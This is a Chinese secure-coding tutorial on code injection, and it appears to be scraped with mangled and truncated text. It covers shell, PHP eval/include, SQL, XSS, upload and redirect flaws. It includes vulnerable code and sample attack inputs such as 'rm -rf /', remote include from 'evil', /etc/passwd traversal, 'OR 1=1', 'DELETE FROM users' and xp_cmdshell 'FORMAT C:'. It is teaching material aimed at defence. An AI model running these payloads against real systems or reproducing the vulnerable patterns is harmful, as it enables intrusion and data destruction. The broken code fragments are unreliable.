1、程序员疫苗:代码注入程序员疫苗:代码注入 几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗代码注入。Shell注入注入n我们先来看一段perl的代码:nuse CGI qw(:standard);$
2、name=param(name);$nslookup=/path/to/nslookup;print header;if(open($fh,$nslookup$name|)while()print escapeHTML($_);print n;close($fh);如果用户输入的参数是:%20%3B%20/bin/ls%20-l那么,这段perl的程序就成了:n/path/to/nslookup ;/bin/ls-l 我们再来看一段PHP的程序 n$myvar=somevalue;$x=$_GETarg;eval($myvar=.$x.;);“eval“的参数将会视同PHP处理,所以额外的命令
3、可被添加。例如:如果”arg”如果被设成”10;system(rm-rf/)“,后面的”system(rm-rf/)“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm-rf/,你懂的,可参看“一个空格引发的悲剧”)PHP代码 n再来看一个PHP的代码n$isadmin=false;.foreach($_GET as$key=$value)$key=$value;如果攻击者在查询字符串中给定”isadmin=1,那$isadmin将会被设为值“1,然后攻击值就取得了网站应用的admin权限了。PHP示例 n$action=login;if(_isset($_GETact)$act
4、ion=$_GETact;require($action.php);这个代码相当危险,攻击者有可能可以干这些事:n/test.php?act=http:/evil/exploit-注入远程机器上有漏洞的文件。n/test.php?act=/home/www/bbs/upload/exploit-从一个已经上载、叫做exploit.php文件运行其代码。n/test.php?act=././././etc/passwd%00-让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非.php 结尾文件。(PHP默认值”magic_quotes_g
5、pc=On”可以终止这种攻击)n这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。nPHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的。SQL注入注入nSQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良
6、的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。n在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:n在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。n在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。n在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)n
7、过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。例程 n某个网站的登录验证的SQL查询代码为nstrSQL=SELECT*FROM users WHERE(name=+userName+)and(pw=+passWord+);n用户在登录时恶意输入如下的的用户名和口令:nuserName=OR 1=1;npassWord=OR 1=1;n此时,将导致原本的SQL字符串被解析为:nstrSQL=SELECT*FROM users WHERE(name=OR 1=1)and(pw=OR 1=1);n也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密
8、码,也可登录网站。nstrSQL=SELECT*FROM users;n这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:nusername=;DELETE FROM users;-;这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。n当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:n盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。n取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=xxxxxx)。n
9、在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意链接以及XSS,这样一来就让访问者被黑。n经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server的 xp_cmdshell“net stop iisadmin”可停止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell“FORMAT C:”)。n现在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不
10、同的口令,甚至不同的用户信息的原因)如何避免如何避免 n在组合SQL字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续2个单引号字符)。如果使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将所有的网页传入参数,将单引号字符取代为连续2个单引号字符。如果如果可能应该过滤以下字符:分号可能应该过滤以下字符:分号“;”,两个减号,两个减号“”,单引号,单引号“”“”,注释,注释“/*/”。(当然,因为注入攻击一般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了)n更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。n限制用户输入的
11、长度,限制用户输入的取值范围。n为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员丢失。n把数据库操作封装成一个Service,对于敏感数据,对于每个客户端的IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。跨网站脚本注入跨网站脚本注入n跨网站脚本跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,Active
12、X,Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。假如我们有这样一段PHP的代码 n$username=$_GETusername;echo Welcome,.$username.;那么我们可以这样来注入:nhttp:/trustedS been attacked!”);n甚至这样:nhttp:/trustedS Login:Username:Password:n这会让网页显示以下内容:n Welcome,Please Login:Username:Password:注入的代码还有可能变种为
13、如下这种更为隐蔽的方式(unicode码)ntrustedS n要防止XSS攻击,一般来说有下面几种手段:n严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。n严格过滤用户的输入。如:PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。Python的cgi.escape()ASP的Server.HTMLEncode()。Node.js的node-validator。Java的xssprotect。n在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮
14、件,查看用户的敏感信息等等。n限制cookie的过期时间。n对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)n另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有我可以通过别的服务器向被攻击用户发送有JS代码、图片、代码、图片、Flash的邮件到你的邮箱,你的邮件到你的邮箱,你打开一看,你就中招了打开一看,你就中招了
15、。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的电子邮件的SMTP协议太差了,基本上无法校验其协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用所以,我再次真诚地告诉大家,请用gmail邮箱邮箱。别再跟我说什么QQMail之类的好用了。上传文件上传文件n上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会
16、中很多很多的招,这种攻击相当狠。试想,如果用户试想,如果用户上传给你一个上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。程序。这无疑是相当危险的。n举个例子:n 要上传的文件:$target=pictures/.basename($_FILESuploadedfilename);if(move_uploaded_file($_FILESuploadedfiletmp_name,$target)echo
17、 图片文件上传成功;else echo 图片文件上传失败;假如我上传了一个PHP文件如下:n那么,我就可以通过如下的URL访问攻击你的网站了:nhttp:/ 抵御的2种手段n1)限制上传文件的文件扩展名。)限制上传文件的文件扩展名。n2)千万不要使用)千万不要使用root或或Administrator来运行你的来运行你的Web应用。应用。nURL跳转跳转nURL跳转很有可能会成为攻击利用的工具。n比如下面的PHP代码:n$redirect_url=$_GETurl;header(Location:.$redirect_url);这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。n于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。nhttp:/
侵权处理QQ:3464097650--上传资料QQ:3464097650
【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。